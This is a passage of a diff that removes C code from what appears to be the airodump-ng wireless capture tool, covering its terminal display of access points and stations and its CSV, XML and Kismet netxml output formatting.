-					 " %02X:%02X:%02X:%02X:%02X:%02X",
-					 ap_cur->bssid[0],
-					 ap_cur->bssid[1],
-					 ap_cur->bssid[2],
-					 ap_cur->bssid[3],
-					 ap_cur->bssid[4],
-					 ap_cur->bssid[5]);
-
-			len = strlen(strbuf);
-
-			if (G.singlechan)
-			{
-				snprintf(strbuf + len,
-						 sizeof(strbuf) - len,
-						 "  %3d %3d %8lu %8lu %4d",
-						 ap_cur->avg_power,
-						 ap_cur->rx_quality,
-						 ap_cur->nb_bcn,
-						 ap_cur->nb_data,
-						 ap_cur->nb_dataps);
-			}
-			else
-			{
-				snprintf(strbuf + len,
-						 sizeof(strbuf) - len,
-						 "  %3d %8lu %8lu %4d",
-						 ap_cur->avg_power,
-						 ap_cur->nb_bcn,
-						 ap_cur->nb_data,
-						 ap_cur->nb_dataps);
-			}
-
-			len = strlen(strbuf);
-
-			if (ap_cur->standard[0])
-			{
-				// In case of 802.11n or 802.11ac, QoS is pretty much implied
-				// Short or long preamble is not that useful anymore.
-				snprintf(strbuf + len,
-						 sizeof(strbuf) - len,
-						 " %3d %4d  ",
-						 ap_cur->channel,
-						 ap_cur->max_speed);
-			}
-			else
-			{
-				snprintf(strbuf + len,
-						 sizeof(strbuf) - len,
-						 " %3d %3d%c%c ",
-						 ap_cur->channel,
-						 ap_cur->max_speed,
-						 (ap_cur->security & STD_QOS) ? 'e' : ' ',
-						 (ap_cur->preamble) ? '.' : ' ');
-			}
-
-			len = strlen(strbuf);
-
-			if ((ap_cur->security & (STD_OPN | STD_WEP | STD_WPA | STD_WPA2))
-				== 0)
-				snprintf(strbuf + len, sizeof(strbuf) - len, "    ");
-			else if (ap_cur->security & STD_WPA2)
-				snprintf(strbuf + len, sizeof(strbuf) - len, "WPA2");
-			else if (ap_cur->security & STD_WPA)
-				snprintf(strbuf + len, sizeof(strbuf) - len, "WPA ");
-			else if (ap_cur->security & STD_WEP)
-				snprintf(strbuf + len, sizeof(strbuf) - len, "WEP ");
-			else if (ap_cur->security & STD_OPN)
-				snprintf(strbuf + len, sizeof(strbuf) - len, "OPN ");
-
-			strncat(strbuf, " ", sizeof(strbuf) - strlen(strbuf) - 1);
-
-			len = strlen(strbuf);
-
-			if ((ap_cur->security
-				 & (ENC_WEP | ENC_TKIP | ENC_WRAP | ENC_CCMP | ENC_WEP104
-					| ENC_WEP40
-					| ENC_GCMP))
-				== 0)
-				snprintf(strbuf + len, sizeof(strbuf) - len, "       ");
-			else if (ap_cur->security & ENC_CCMP)
-				snprintf(strbuf + len, sizeof(strbuf) - len, "CCMP   ");
-			else if (ap_cur->security & ENC_WRAP)
-				snprintf(strbuf + len, sizeof(strbuf) - len, "WRAP   ");
-			else if (ap_cur->security & ENC_TKIP)
-				snprintf(strbuf + len, sizeof(strbuf) - len, "TKIP   ");
-			else if (ap_cur->security & ENC_WEP104)
-				snprintf(strbuf + len, sizeof(strbuf) - len, "WEP104 ");
-			else if (ap_cur->security & ENC_WEP40)
-				snprintf(strbuf + len, sizeof(strbuf) - len, "WEP40  ");
-			else if (ap_cur->security & ENC_WEP)
-				snprintf(strbuf + len, sizeof(strbuf) - len, "WEP    ");
-			else if (ap_cur->security & ENC_GCMP)
-				snprintf(strbuf + len, sizeof(strbuf) - len, "GCMP   ");
-
-			len = strlen(strbuf);
-
-			if ((ap_cur->security & (AUTH_OPN | AUTH_PSK | AUTH_MGT)) == 0)
-				snprintf(strbuf + len, sizeof(strbuf) - len, "   ");
-			else if (ap_cur->security & AUTH_MGT)
-				snprintf(strbuf + len, sizeof(strbuf) - len, "MGT");
-			else if (ap_cur->security & AUTH_PSK)
-			{
-				if (ap_cur->security & STD_WEP)
-					snprintf(strbuf + len, sizeof(strbuf) - len, "SKA");
-				else
-					snprintf(strbuf + len, sizeof(strbuf) - len, "PSK");
-			}
-			else if (ap_cur->security & AUTH_OPN)
-				snprintf(strbuf + len, sizeof(strbuf) - len, "OPN");
-
-			if (G.show_uptime)
-			{
-				snprintf(strbuf + len,
-						 sizeof(strbuf) - len,
-						 " %14s",
-						 parse_timestamp(ap_cur->timestamp));
-				len = strlen(strbuf);
-			}
-			else
-			{
-				len = strlen(strbuf);
-			}
-
-			strbuf[ws_col - 1] = '\0';
-
-			if (G.selection_ap && ((num_ap) == G.selected_ap))
-			{
-				if (G.mark_cur_ap)
-				{
-					if (ap_cur->marked == 0)
-					{
-						ap_cur->marked = 1;
-					}
-					else
-					{
-						ap_cur->marked_color++;
-						if (ap_cur->marked_color > (TEXT_MAX_COLOR - 1))
-						{
-							ap_cur->marked_color = 1;
-							ap_cur->marked = 0;
-						}
-					}
-					G.mark_cur_ap = 0;
-				}
-				textstyle(TEXT_REVERSE);
-				memcpy(G.selected_bssid, ap_cur->bssid, 6);
-			}
-
-			if (ap_cur->marked)
-			{
-				textcolor_fg(ap_cur->marked_color);
-			}
-
-			fprintf(stderr, "%s", strbuf);
-
-			if (ws_col > (columns_ap - 4))
-			{
-				memset(strbuf, 0, sizeof(strbuf));
-				if (G.show_wps)
-				{
-					if (ap_cur->wps.state != 0xFF)
-					{
-						if (ap_cur->wps.ap_setup_locked) // AP setup locked
-							snprintf(strbuf, sizeof(strbuf) - 1, "Locked");
-						else
-						{
-							snprintf(strbuf,
-									 sizeof(strbuf) - 1,
-									 "%u.%d",
-									 ap_cur->wps.version >> 4,
-									 ap_cur->wps.version & 0xF); // Version
-							if (ap_cur->wps.meth) // WPS Config Methods
-							{
-								char tbuf[64];
-								memset(tbuf, '\0', sizeof(tbuf));
-								int sep = 0;
-#define T(bit, name)                                                           \
-	do                                                                         \
-	{                                                                          \
-		if (ap_cur->wps.meth & (1 << (bit)))                                   \
-		{                                                                      \
-			if (sep) strcat(tbuf, ",");                                        \
-			sep = 1;                                                           \
-			strncat(tbuf, (name), (64 - strlen(tbuf)));                        \
-		}                                                                      \
-	} while (0)
-								T(0, "USB"); // USB method
-								T(1, "ETHER"); // Ethernet
-								T(2, "LAB"); // Label
-								T(3, "DISP"); // Display
-								T(4, "EXTNFC"); // Ext. NFC Token
-								T(5, "INTNFC"); // Int. NFC Token
-								T(6, "NFCINTF"); // NFC Interface
-								T(7, "PBC"); // Push Button
-								T(8, "KPAD"); // Keypad
-								snprintf(strbuf + strlen(strbuf),
-										 sizeof(strbuf) - strlen(strbuf),
-										 " %s",
-										 tbuf);
-#undef T
-							}
-						}
-					}
-					else
-					{
-						snprintf(strbuf, sizeof(strbuf) - 1, " ");
-					}
-					if (G.maxsize_wps_seen <= strlen(strbuf))
-						G.maxsize_wps_seen = (u_int) strlen(strbuf);
-					else // write spaces (32)
-						memset(strbuf + strlen(strbuf),
-							   32,
-							   (G.maxsize_wps_seen - strlen(strbuf)));
-				}
-				if (ap_cur->essid[0] != 0x00)
-				{
-					if (G.show_wps)
-						snprintf(strbuf + G.maxsize_wps_seen,
-								 sizeof(strbuf) - G.maxsize_wps_seen,
-								 "  %s",
-								 ap_cur->essid);
-					else
-						snprintf(
-							strbuf, sizeof(strbuf) - 1, "%s", ap_cur->essid);
-				}
-				else
-				{
-					if (G.show_wps)
-						snprintf(strbuf + G.maxsize_wps_seen,
-								 sizeof(strbuf) - G.maxsize_wps_seen,
-								 "  <length:%3d>%s",
-								 ap_cur->ssid_length,
-								 "\x00");
-					else
-						snprintf(strbuf,
-								 sizeof(strbuf) - 1,
-								 "<length:%3d>%s",
-								 ap_cur->ssid_length,
-								 "\x00");
-				}
-
-				if (G.show_manufacturer)
-				{
-
-					if (G.maxsize_essid_seen <= strlen(strbuf))
-						G.maxsize_essid_seen = (u_int) strlen(strbuf);
-					else // write spaces (32)
-						memset(strbuf + strlen(strbuf),
-							   32,
-							   (size_t)(G.maxsize_essid_seen - strlen(strbuf)));
-
-					if (ap_cur->manuf == NULL)
-						ap_cur->manuf = get_manufacturer(ap_cur->bssid[0],
-														 ap_cur->bssid[1],
-														 ap_cur->bssid[2]);
-
-					snprintf(strbuf + G.maxsize_essid_seen,
-							 sizeof(strbuf) - G.maxsize_essid_seen,
-							 "  %s",
-							 ap_cur->manuf);
-				}
-
-				// write spaces (32) until the end of column
-				memset(strbuf + strlen(strbuf),
-					   32,
-					   (size_t) ws_col - (columns_ap - 4));
-
-				// end the string at the end of the column
-				strbuf[ws_col - (columns_ap - 4)] = '\0';
-
-				fprintf(stderr, "  %s", strbuf);
-			}
-
-			fprintf(stderr, "\n");
-
-			if ((G.selection_ap && ((num_ap) == G.selected_ap))
-				|| (ap_cur->marked))
-			{
-				textstyle(TEXT_RESET);
-			}
-
-			ap_cur = ap_cur->prev;
-		}
-
-		/* print some information about each detected station */
-
-		nlines += 3;
-
-		if (nlines >= (ws_row - 1)) return;
-
-		memset(strbuf, ' ', (size_t) ws_col - 1);
-		strbuf[ws_col - 1] = '\0';
-		fprintf(stderr, "%s\n", strbuf);
-	}
-
-	if (G.show_sta)
-	{
-		memcpy(strbuf,
-			   " BSSID              STATION "
-			   "           PWR   Rate    Lost    Frames  Probes",
-			   columns_sta);
-		strbuf[ws_col - 1] = '\0';
-		fprintf(stderr, "%s\n", strbuf);
-
-		memset(strbuf, ' ', (size_t) ws_col - 1);
-		strbuf[ws_col - 1] = '\0';
-		fprintf(stderr, "%s\n", strbuf);
-
-		ap_cur = G.ap_end;
-
-		num_sta = 0;
-
-		while (ap_cur != NULL)
-		{
-			if (ap_cur->nb_pkt < 2 || time(NULL) - ap_cur->tlast > G.berlin)
-			{
-				ap_cur = ap_cur->prev;
-				continue;
-			}
-
-			if (ap_cur->security != 0 && G.f_encrypt != 0
-				&& ((ap_cur->security & G.f_encrypt) == 0))
-			{
-				ap_cur = ap_cur->prev;
-				continue;
-			}
-
-			// Don't filter unassociated clients by ESSID
-			if (memcmp(ap_cur->bssid, BROADCAST, 6) != 0
-				&& is_filtered_essid(ap_cur->essid))
-			{
-				ap_cur = ap_cur->prev;
-				continue;
-			}
-
-			if (nlines >= (ws_row - 1)) return;
-
-			st_cur = G.st_end;
-
-			if (G.selection_ap
-				&& (memcmp(G.selected_bssid, ap_cur->bssid, 6) == 0))
-			{
-				textstyle(TEXT_REVERSE);
-			}
-
-			if (ap_cur->marked)
-			{
-				textcolor_fg(ap_cur->marked_color);
-			}
-
-			while (st_cur != NULL)
-			{
-				if (st_cur->base != ap_cur
-					|| time(NULL) - st_cur->tlast > G.berlin)
-				{
-					st_cur = st_cur->prev;
-					continue;
-				}
-
-				if (!memcmp(ap_cur->bssid, BROADCAST, 6) && G.asso_client)
-				{
-					st_cur = st_cur->prev;
-					continue;
-				}
-
-				num_sta++;
-
-				if (G.start_print_sta > num_sta) continue;
-
-				nlines++;
-
-				if (ws_row != 0 && nlines >= ws_row) return;
-
-				if (!memcmp(ap_cur->bssid, BROADCAST, 6))
-					fprintf(stderr, " (not associated) ");
-				else
-					fprintf(stderr,
-							" %02X:%02X:%02X:%02X:%02X:%02X",
-							ap_cur->bssid[0],
-							ap_cur->bssid[1],
-							ap_cur->bssid[2],
-							ap_cur->bssid[3],
-							ap_cur->bssid[4],
-							ap_cur->bssid[5]);
-
-				fprintf(stderr,
-						"  %02X:%02X:%02X:%02X:%02X:%02X",
-						st_cur->stmac[0],
-						st_cur->stmac[1],
-						st_cur->stmac[2],
-						st_cur->stmac[3],
-						st_cur->stmac[4],
-						st_cur->stmac[5]);
-
-				fprintf(stderr, "  %3d ", st_cur->power);
-				fprintf(stderr, "  %2d", st_cur->rate_to / 1000000);
-				fprintf(stderr, "%c", (st_cur->qos_fr_ds) ? 'e' : ' ');
-				fprintf(stderr, "-%2d", st_cur->rate_from / 1000000);
-				fprintf(stderr, "%c", (st_cur->qos_to_ds) ? 'e' : ' ');
-				fprintf(stderr, "  %4d", st_cur->missed);
-				fprintf(stderr, " %8lu", st_cur->nb_pkt);
-
-				if (ws_col > (columns_sta - 6))
-				{
-					memset(ssid_list, 0, sizeof(ssid_list));
-
-					for (i = 0, n = 0; i < NB_PRB; i++)
-					{
-						if (st_cur->probes[i][0] == '\0') continue;
-
-						snprintf(ssid_list + n,
-								 sizeof(ssid_list) - n - 1,
-								 "%c%s",
-								 (i > 0) ? ',' : ' ',
-								 st_cur->probes[i]);
-
-						n += (1 + strlen(st_cur->probes[i]));
-
-						if (n >= (int) sizeof(ssid_list)) break;
-					}
-
-					memset(strbuf, 0, sizeof(strbuf));
-					snprintf(strbuf, sizeof(strbuf) - 1, "%-256s", ssid_list)
-							< 0
-						? abort()
-						: (void) 0;
-					strbuf[ws_col - (columns_sta - 6)] = '\0';
-					fprintf(stderr, " %s", strbuf);
-				}
-
-				fprintf(stderr, "\n");
-
-				st_cur = st_cur->prev;
-			}
-
-			if ((G.selection_ap
-				 && (memcmp(G.selected_bssid, ap_cur->bssid, 6) == 0))
-				|| (ap_cur->marked))
-			{
-				textstyle(TEXT_RESET);
-			}
-
-			ap_cur = ap_cur->prev;
-		}
-	}
-
-	if (G.show_ack)
-	{
-		/* print some information about each unknown station */
-
-		nlines += 3;
-
-		if (nlines >= (ws_row - 1)) return;
-
-		memset(strbuf, ' ', (size_t) ws_col - 1);
-		strbuf[ws_col - 1] = '\0';
-		fprintf(stderr, "%s\n", strbuf);
-
-		memcpy(strbuf,
-			   " MAC       "
-			   "          CH PWR    ACK ACK/s    CTS RTS_RX RTS_TX  OTHER",
-			   (size_t) columns_na);
-		strbuf[ws_col - 1] = '\0';
-		fprintf(stderr, "%s\n", strbuf);
-
-		memset(strbuf, ' ', (size_t) ws_col - 1);
-		strbuf[ws_col - 1] = '\0';
-		fprintf(stderr, "%s\n", strbuf);
-
-		na_cur = G.na_1st;
-
-		while (na_cur != NULL)
-		{
-			if (time(NULL) - na_cur->tlast > 120)
-			{
-				na_cur = na_cur->next;
-				continue;
-			}
-
-			if (nlines >= (ws_row - 1)) return;
-
-			nlines++;
-
-			if (ws_row != 0 && nlines >= ws_row) return;
-
-			fprintf(stderr,
-					" %02X:%02X:%02X:%02X:%02X:%02X",
-					na_cur->namac[0],
-					na_cur->namac[1],
-					na_cur->namac[2],
-					na_cur->namac[3],
-					na_cur->namac[4],
-					na_cur->namac[5]);
-
-			fprintf(stderr, "  %3d", na_cur->channel);
-			fprintf(stderr, " %3d", na_cur->power);
-			fprintf(stderr, " %6d", na_cur->ack);
-			fprintf(stderr, "  %4d", na_cur->ackps);
-			fprintf(stderr, " %6d", na_cur->cts);
-			fprintf(stderr, " %6d", na_cur->rts_r);
-			fprintf(stderr, " %6d", na_cur->rts_t);
-			fprintf(stderr, " %6d", na_cur->other);
-
-			fprintf(stderr, "\n");
-
-			na_cur = na_cur->next;
-		}
-	}
-}
-
-static char * format_text_for_csv(const unsigned char * input, int len)
-{
-	// Unix style encoding
-	char *ret, *rret;
-	int i, pos, contains_space_end;
-	const char * hex_table = "0123456789ABCDEF";
-
-	if (len < 0)
-	{
-		return NULL;
-	}
-
-	if (len == 0 || input == NULL)
-	{
-		ret = (char *) malloc(1);
-		ret[0] = 0;
-		return ret;
-	}
-
-	pos = 0;
-	contains_space_end = (input[0] == ' ') || input[len - 1] == ' ';
-
-	// Make sure to have enough memory for all that stuff
-	ret = (char *) malloc((len * 4) + 1 + 2);
-
-	if (contains_space_end)
-	{
-		ret[pos++] = '"';
-	}
-
-	for (i = 0; i < len; i++)
-	{
-		if (!isprint(input[i]) || input[i] == ',' || input[i] == '\\'
-			|| input[i] == '"')
-		{
-			ret[pos++] = '\\';
-		}
-
-		if (isprint(input[i]))
-		{
-			ret[pos++] = input[i];
-		}
-		else if (input[i] == '\n' || input[i] == '\r' || input[i] == '\t')
-		{
-			ret[pos++]
-				= (input[i] == '\n') ? 'n' : (input[i] == '\t') ? 't' : 'r';
-		}
-		else
-		{
-			ret[pos++] = 'x';
-			ret[pos++] = hex_table[input[i] / 16];
-			ret[pos++] = hex_table[input[i] % 16];
-		}
-	}
-
-	if (contains_space_end)
-	{
-		ret[pos++] = '"';
-	}
-
-	ret[pos++] = '\0';
-
-	rret = realloc(ret, pos);
-
-	return (rret) ? rret : ret;
-}
-
-static int dump_write_csv(void)
-{
-	int i, n, probes_written;
-	struct tm * ltime;
-	struct AP_info * ap_cur;
-	struct ST_info * st_cur;
-	char * temp;
-
-	if (!G.record_data || !G.output_format_csv) return 0;
-
-	fseek(G.f_txt, 0, SEEK_SET);
-
-	fprintf(G.f_txt,
-			"\r\nBSSID, First time seen, Last time seen, channel, Speed, "
-			"Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, "
-			"ID-length, ESSID, Key\r\n");
-
-	ap_cur = G.ap_1st;
-
-	while (ap_cur != NULL)
-	{
-		if (memcmp(ap_cur->bssid, BROADCAST, 6) == 0)
-		{
-			ap_cur = ap_cur->next;
-			continue;
-		}
-
-		if (ap_cur->security != 0 && G.f_encrypt != 0
-			&& ((ap_cur->security & G.f_encrypt) == 0))
-		{
-			ap_cur = ap_cur->next;
-			continue;
-		}
-
-		if (is_filtered_essid(ap_cur->essid))
-		{
-			ap_cur = ap_cur->next;
-			continue;
-		}
-
-		fprintf(G.f_txt,
-				"%02X:%02X:%02X:%02X:%02X:%02X, ",
-				ap_cur->bssid[0],
-				ap_cur->bssid[1],
-				ap_cur->bssid[2],
-				ap_cur->bssid[3],
-				ap_cur->bssid[4],
-				ap_cur->bssid[5]);
-
-		ltime = localtime(&ap_cur->tinit);
-
-		fprintf(G.f_txt,
-				"%04d-%02d-%02d %02d:%02d:%02d, ",
-				1900 + ltime->tm_year,
-				1 + ltime->tm_mon,
-				ltime->tm_mday,
-				ltime->tm_hour,
-				ltime->tm_min,
-				ltime->tm_sec);
-
-		ltime = localtime(&ap_cur->tlast);
-
-		fprintf(G.f_txt,
-				"%04d-%02d-%02d %02d:%02d:%02d, ",
-				1900 + ltime->tm_year,
-				1 + ltime->tm_mon,
-				ltime->tm_mday,
-				ltime->tm_hour,
-				ltime->tm_min,
-				ltime->tm_sec);
-
-		fprintf(G.f_txt, "%2d, %3d,", ap_cur->channel, ap_cur->max_speed);
-
-		if ((ap_cur->security & (STD_OPN | STD_WEP | STD_WPA | STD_WPA2)) == 0)
-			fprintf(G.f_txt, " ");
-		else
-		{
-			if (ap_cur->security & STD_WPA2) fprintf(G.f_txt, " WPA2");
-			if (ap_cur->security & STD_WPA) fprintf(G.f_txt, " WPA");
-			if (ap_cur->security & STD_WEP) fprintf(G.f_txt, " WEP");
-			if (ap_cur->security & STD_OPN) fprintf(G.f_txt, " OPN");
-		}
-
-		fprintf(G.f_txt, ",");
-
-		if ((ap_cur->security
-			 & (ENC_WEP | ENC_TKIP | ENC_WRAP | ENC_CCMP | ENC_WEP104
-				| ENC_WEP40
-				| ENC_GCMP))
-			== 0)
-			fprintf(G.f_txt, " ");
-		else
-		{
-			if (ap_cur->security & ENC_CCMP) fprintf(G.f_txt, " CCMP");
-			if (ap_cur->security & ENC_WRAP) fprintf(G.f_txt, " WRAP");
-			if (ap_cur->security & ENC_TKIP) fprintf(G.f_txt, " TKIP");
-			if (ap_cur->security & ENC_WEP104) fprintf(G.f_txt, " WEP104");
-			if (ap_cur->security & ENC_WEP40) fprintf(G.f_txt, " WEP40");
-			if (ap_cur->security & ENC_WEP) fprintf(G.f_txt, " WEP");
-			if (ap_cur->security & ENC_WEP) fprintf(G.f_txt, " GCMP");
-		}
-
-		fprintf(G.f_txt, ",");
-
-		if ((ap_cur->security & (AUTH_OPN | AUTH_PSK | AUTH_MGT)) == 0)
-			fprintf(G.f_txt, "   ");
-		else
-		{
-			if (ap_cur->security & AUTH_MGT) fprintf(G.f_txt, " MGT");
-			if (ap_cur->security & AUTH_PSK)
-			{
-				if (ap_cur->security & STD_WEP)
-					fprintf(G.f_txt, " SKA");
-				else
-					fprintf(G.f_txt, " PSK");
-			}
-			if (ap_cur->security & AUTH_OPN) fprintf(G.f_txt, " OPN");
-		}
-
-		fprintf(G.f_txt,
-				", %3d, %8lu, %8lu, ",
-				ap_cur->avg_power,
-				ap_cur->nb_bcn,
-				ap_cur->nb_data);
-
-		fprintf(G.f_txt,
-				"%3d.%3d.%3d.%3d, ",
-				ap_cur->lanip[0],
-				ap_cur->lanip[1],
-				ap_cur->lanip[2],
-				ap_cur->lanip[3]);
-
-		fprintf(G.f_txt, "%3d, ", ap_cur->ssid_length);
-
-		if (verifyssid(ap_cur->essid))
-			fprintf(G.f_txt, "%s, ", ap_cur->essid);
-		else
-		{
-			temp = format_text_for_csv(ap_cur->essid, ap_cur->ssid_length);
-			fprintf(G.f_txt, "%s, ", temp);
-			free(temp);
-		}
-
-		if (ap_cur->key != NULL)
-		{
-			for (i = 0; i < (int) strlen(ap_cur->key); i++)
-			{
-				fprintf(G.f_txt, "%02X", ap_cur->key[i]);
-				if (i < (int) (strlen(ap_cur->key) - 1)) fprintf(G.f_txt, ":");
-			}
-		}
-
-		fprintf(G.f_txt, "\r\n");
-
-		ap_cur = ap_cur->next;
-	}
-
-	fprintf(G.f_txt,
-			"\r\nStation MAC, First time seen, Last time seen, "
-			"Power, # packets, BSSID, Probed ESSIDs\r\n");
-
-	st_cur = G.st_1st;
-
-	while (st_cur != NULL)
-	{
-		ap_cur = st_cur->base;
-
-		if (ap_cur->nb_pkt < 2)
-		{
-			st_cur = st_cur->next;
-			continue;
-		}
-
-		fprintf(G.f_txt,
-				"%02X:%02X:%02X:%02X:%02X:%02X, ",
-				st_cur->stmac[0],
-				st_cur->stmac[1],
-				st_cur->stmac[2],
-				st_cur->stmac[3],
-				st_cur->stmac[4],
-				st_cur->stmac[5]);
-
-		ltime = localtime(&st_cur->tinit);
-
-		fprintf(G.f_txt,
-				"%04d-%02d-%02d %02d:%02d:%02d, ",
-				1900 + ltime->tm_year,
-				1 + ltime->tm_mon,
-				ltime->tm_mday,
-				ltime->tm_hour,
-				ltime->tm_min,
-				ltime->tm_sec);
-
-		ltime = localtime(&st_cur->tlast);
-
-		fprintf(G.f_txt,
-				"%04d-%02d-%02d %02d:%02d:%02d, ",
-				1900 + ltime->tm_year,
-				1 + ltime->tm_mon,
-				ltime->tm_mday,
-				ltime->tm_hour,
-				ltime->tm_min,
-				ltime->tm_sec);
-
-		fprintf(G.f_txt, "%3d, %8lu, ", st_cur->power, st_cur->nb_pkt);
-
-		if (!memcmp(ap_cur->bssid, BROADCAST, 6))
-			fprintf(G.f_txt, "(not associated) ,");
-		else
-			fprintf(G.f_txt,
-					"%02X:%02X:%02X:%02X:%02X:%02X,",
-					ap_cur->bssid[0],
-					ap_cur->bssid[1],
-					ap_cur->bssid[2],
-					ap_cur->bssid[3],
-					ap_cur->bssid[4],
-					ap_cur->bssid[5]);
-
-		probes_written = 0;
-		for (i = 0, n = 0; i < NB_PRB; i++)
-		{
-			if (st_cur->ssid_length[i] == 0) continue;
-
-			if (verifyssid((const unsigned char *) st_cur->probes[i]))
-			{
-				temp = (char *) calloc(
-					1, (st_cur->ssid_length[i] + 1) * sizeof(char));
-				memcpy(temp, st_cur->probes[i], st_cur->ssid_length[i] + 1);
-			}
-			else
-			{
-				temp = format_text_for_csv((unsigned char *) st_cur->probes[i],
-										   st_cur->ssid_length[i]);
-			}
-
-			if (probes_written == 0)
-			{
-				fprintf(G.f_txt, "%s", temp);
-				probes_written = 1;
-			}
-			else
-			{
-				fprintf(G.f_txt, ",%s", temp);
-			}
-
-			free(temp);
-		}
-
-		fprintf(G.f_txt, "\r\n");
-
-		st_cur = st_cur->next;
-	}
-
-	fprintf(G.f_txt, "\r\n");
-	fflush(G.f_txt);
-	return 0;
-}
-
-static char * sanitize_xml(unsigned char * text, int length)
-{
-	int i;
-	size_t len, current_text_len;
-	unsigned char * pos;
-	char * newtext = NULL;
-	if (text != NULL && length > 0)
-	{
-		len = 8 * length;
-		newtext = (char *) calloc(
-			1, (len + 1) * sizeof(char)); // Make sure we have enough space
-		pos = text;
-		for (i = 0; i < length; ++i, ++pos)
-		{
-			switch (*pos)
-			{
-				case '&':
-					strncat(newtext, "&amp;", len);
-					break;
-				case '<':
-					strncat(newtext, "&lt;", len);
-					break;
-				case '>':
-					strncat(newtext, "&gt;", len);
-					break;
-				case '\'':
-					strncat(newtext, "&apos;", len);
-					break;
-				case '"':
-					strncat(newtext, "&quot;", len);
-					break;
-				case '\r':
-					strncat(newtext, "&#xD;", len);
-					break;
-				case '\n':
-					strncat(newtext, "&#xA;", len);
-					break;
-				default:
-					if (isprint((int) (*pos)))
-					{
-						newtext[strlen(newtext)] = *pos;
-					}
-					else
-					{
-						strncat(newtext, "&#x", len);
-						current_text_len = strlen(newtext);
-						snprintf(newtext + current_text_len,
-								 len - current_text_len + 1,
-								 "%4x",
-								 *pos);
-						strncat(newtext, ";", len);
-					}
-					break;
-			}
-		}
-		newtext = (char *) realloc(newtext, strlen(newtext) + 1);
-	}
-
-	return newtext;
-}
-
-#define OUI_STR_SIZE 8
-#define MANUF_SIZE 128
-char *
-get_manufacturer(unsigned char mac0, unsigned char mac1, unsigned char mac2)
-{
-	char oui[OUI_STR_SIZE + 1];
-	char *manuf, *rmanuf;
-	// char *buffer_manuf;
-	char * manuf_str;
-	struct oui * ptr;
-	FILE * fp;
-	char buffer[BUFSIZ];
-	char temp[OUI_STR_SIZE + 1];
-	unsigned char a[2];
-	unsigned char b[2];
-	unsigned char c[2];
-	int found = 0;
-
-	if ((manuf = (char *) calloc(1, MANUF_SIZE * sizeof(char))) == NULL)
-	{
-		perror("calloc failed");
-		return NULL;
-	}
-
-	snprintf(oui, sizeof(oui), "%02X:%02X:%02X", mac0, mac1, mac2);
-
-	if (G.manufList != NULL)
-	{
-		// Search in the list
-		ptr = G.manufList;
-		while (ptr != NULL)
-		{
-			found = !strncasecmp(ptr->id, oui, OUI_STR_SIZE);
-			if (found)
-			{
-				memcpy(manuf, ptr->manuf, MANUF_SIZE);
-				break;
-			}
-			ptr = ptr->next;
-		}
-	}
-	else
-	{
-		// If the file exist, then query it each time we need to get a
-		// manufacturer.
-		fp = open_oui_file();
-
-		if (fp != NULL)
-		{
-
-			memset(buffer, 0x00, sizeof(buffer));
-			while (fgets(buffer, sizeof(buffer), fp) != NULL)
-			{
-				if (strstr(buffer, "(hex)") == NULL)
-				{
-					continue;
-				}
-
-				memset(a, 0x00, sizeof(a));
-				memset(b, 0x00, sizeof(b));
-				memset(c, 0x00, sizeof(c));
-				if (sscanf(buffer, "%2c-%2c-%2c", a, b, c) == 3)
-				{
-					snprintf(temp,
-							 sizeof(temp),
-							 "%c%c:%c%c:%c%c",
-							 a[0],
-							 a[1],
-							 b[0],
-							 b[1],
-							 c[0],
-							 c[1]);
-					found = !memcmp(temp, oui, strlen(oui));
-					if (found)
-					{
-						manuf_str = get_manufacturer_from_string(buffer);
-						if (manuf_str != NULL)
-						{
-							snprintf(manuf, MANUF_SIZE, "%s", manuf_str);
-							free(manuf_str);
-						}
-
-						break;
-					}
-				}
-				memset(buffer, 0x00, sizeof(buffer));
-			}
-
-			fclose(fp);
-		}
-	}
-
-	// Not found, use "Unknown".
-	if (!found || *manuf == '\0')
-	{
-		memcpy(manuf, "Unknown", 7);
-		manuf[strlen(manuf)] = '\0';
-	}
-
-	// Going in a smaller buffer
-	rmanuf = (char *) realloc(manuf, (strlen(manuf) + 1) * sizeof(char));
-
-	return (rmanuf) ? rmanuf : manuf;
-}
-#undef OUI_STR_SIZE
-#undef MANUF_SIZE
-
-#define KISMET_NETXML_HEADER_BEGIN                                             \
-	"<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!DOCTYPE "              \
-	"detection-run SYSTEM "                                                    \
-	"\"http://kismetwireless.net/kismet-3.1.0.dtd\">\n\n<detection-run "       \
-	"kismet-version=\"airodump-ng-1.0\" start-time=\""
-#define KISMET_NETXML_HEADER_END "\">\n\n"
-
-#define KISMET_NETXML_TRAILER "</detection-run>"
-
-#define TIME_STR_LENGTH 255
-static int dump_write_kismet_netxml_client_info(struct ST_info * client,
-												int client_no)
-{
-	char first_time[TIME_STR_LENGTH];
-	char last_time[TIME_STR_LENGTH];
-	char * manuf;
-	int client_max_rate, average_power, max_power, i, nb_probes_written,
-		is_unassociated;
-	char * essid = NULL;
-
-	if (client == NULL || (client_no <= 0 || client_no >= INT_MAX))
-	{
-		return 1;
-	}
-
-	is_unassociated = (client->base == NULL
-					   || memcmp(client->base->bssid, BROADCAST, 6) == 0);
-
-	strncpy(first_time, ctime(&client->tinit), TIME_STR_LENGTH - 1);
-	first_time[strlen(first_time) - 1] = 0; // remove new line
-
-	strncpy(last_time, ctime(&client->tlast), TIME_STR_LENGTH - 1);
-	last_time[strlen(last_time) - 1] = 0; // remove new line
-
-	fprintf(G.f_kis_xml,
-			"\t\t<wireless-client number=\"%d\" "
-			"type=\"%s\" first-time=\"%s\""
-			" last-time=\"%s\">\n",
-			client_no,
-			(is_unassociated) ? "tods" : "established",
-			first_time,
-			last_time);
-
-	fprintf(G.f_kis_xml,
-			"\t\t\t<client-mac>%02X:%02X:%02X:%02X:%02X:%02X</client-mac>\n",
-			client->stmac[0],
-			client->stmac[1],
-			client->stmac[2],
-			client->stmac[3],
-			client->stmac[4],
-			client->stmac[5]);
-
-	/* Manufacturer, if set using standard oui list */
-	manuf
-		= sanitize_xml((unsigned char *) client->manuf, strlen(client->manuf));
-	fprintf(G.f_kis_xml,
-			"\t\t\t<client-manuf>%s</client-manuf>\n",
-			(manuf != NULL) ? manuf : "Unknown");
-	free(manuf);
-
-	/* SSID item, aka Probes */
-	nb_probes_written = 0;
-	for (i = 0; i < NB_PRB; i++)
-	{
-		if (client->probes[i][0] == '\0') continue;
-
-		fprintf(G.f_kis_xml,
-				"\t\t\t<SSID first-time=\"%s\" last-time=\"%s\">\n",
-				first_time,
-				last_time);
-		fprintf(G.f_kis_xml,
-				"\t\t\t\t<type>Probe Request</type>\n"
